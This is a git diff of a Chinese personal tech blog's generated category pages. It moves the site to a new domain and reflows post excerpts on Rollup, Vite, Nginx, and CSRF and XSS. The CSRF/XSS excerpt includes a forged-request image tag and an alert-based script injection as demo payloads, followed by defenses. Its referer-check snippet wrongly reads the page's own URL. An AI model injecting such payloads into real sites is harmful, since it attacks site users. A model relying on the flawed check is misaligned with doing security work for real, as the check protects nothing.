-return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://xiaochenabc123.github.io/posts/123/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/2/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+getters: { getCount(state) { return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://chenjunlinabc.github.io/posts/123/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/2/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/4/index.html" "b/categories/\346\212\200\346\234\257/page/4/index.html"
index 5ef1b216..0bf82306 100644
--- "a/categories/\346\212\200\346\234\257/page/4/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/4/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Rollup模块打包工具</h2></header><div class=entry-content><p>根据Rollup官方文档的介绍：Rollup 是一个 JavaScript 模块打包器，可以将小块代码编译成大块复杂的代码，例如 library 或应用程序。
 Rollup和webpack那种偏向于应用打包不同，Rollup更专注于类库打包，像vue，react都是通过rollup打包的
 注意：webpack支持HMR（热模块更新），而Rollup并不支持，因此在应用打包的时候还是选择webpack比较好，但是如果只是打包类库之类的，并且还是基于ES6模块开发的，那么就可以考虑选择rollup了，因为rollup在Tree-shaking和ES6模块有着算法优势。因为Rollup对模块化是使用新标准，例如 CommonJS，而不是老旧解决方案
 提示：webpack已经支持Tree-shaking，并且在babel-loader的情况下也支持es6 module的打包
@@ -8,37 +8,25 @@
 查看帮助文档
 rollup –help
 打包使用
-rollup -i index.js
-默认输出到终端
+rollup -i index.js 默认输出到终端
 指定输出到哪个文件
-rollup -i index.js --file dist.js
-还可以指定输出模块标准是哪个
-rollup -i index.js --file dist.js --format umd
-rollup -i index.js --file dist.js --format cjs
-rollup -i index.js --file dist.js --format iife
-打包
+rollup -i index.js --file dist.js 还可以指定输出模块标准是哪个
+rollup -i index.js --file dist.js --format umd rollup -i index.js --file dist.js --format cjs rollup -i index.js --file dist.js --format iife 打包
 rollup src/demo.js -f cjs -o dist/bundle.js
 注意：-f是–format的缩写，表示生成代码的格式，例如amd，cjs，es，umd，iife
 使用UMD格式需要指明一个name属性，用来挂载模块到全局环境中
 rollup src/demo.js -f umd -o dist/bundle.js –name hallo
-在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://xiaochenabc123.github.io/posts/119/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
+在global下声明一个名为hallo的对象，用来挂载全部的export模块...</p></div><footer class=entry-footer><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://chenjunlinabc.github.io/posts/119/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解CSRF攻击和XSS攻击</h2></header><div class=entry-content><p>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&lt;img src ="http://xxx.xxx/test?xxx=666">
-只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&lt;img src ="http://xxx.xxx/test?xxx=666"> 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
-if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){
-console.log("验证成功!!!")
-}else{
-console.log("验证失败!!!")
-}
-防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null && referer.startsWith("https://xiaochenabc123.test.com")){ console.log("验证成功!!!") }else{ console.log("验证失败!!!") } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&lt;script>alert(‘hack’)&lt;/script>，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -58,14 +46,13 @@
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;">
-其中img-src对应的指定图像或者图标的有效来源
+&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*;"> 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
 可以利用Cookie的SameSite属性，这个属性有3个值，分别是Strict，Lax，None，主要用的就是Strict属性值
 Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目标一致才会发生Cookie
-中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://xiaochenabc123.github.io/posts/99/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
+中间人攻击可以通过开启https来进行大部分的攻击免疫（https中间人攻击还是存在的）</p></div><footer class=entry-footer><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://chenjunlinabc.github.io/posts/99/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Vite-前端构建工具</h2></header><div class=entry-content><p>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
 依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）
@@ -104,10 +91,8 @@
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
-配置vite.config.ts
-import legacy from '@vitejs/plugin-legacy'
-....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://xiaochenabc123.github.io/posts/87/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from '@vitejs/plugin-legacy' ....</p></div><footer class=entry-footer><span title='2021-08-18 14:20:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Vite-前端构建工具" href=https://chenjunlinabc.github.io/posts/87/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -141,7 +126,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -175,10 +160,8 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
-worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
-error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://xiaochenabc123.github.io/posts/85/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/3/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://chenjunlinabc.github.io/posts/85/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/3/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/5/index.html" "b/categories/\346\212\200\346\234\257/page/5/index.html"
index b3775742..314dc424 100644
--- "a/categories/\346\212\200\346\234\257/page/5/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/5/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 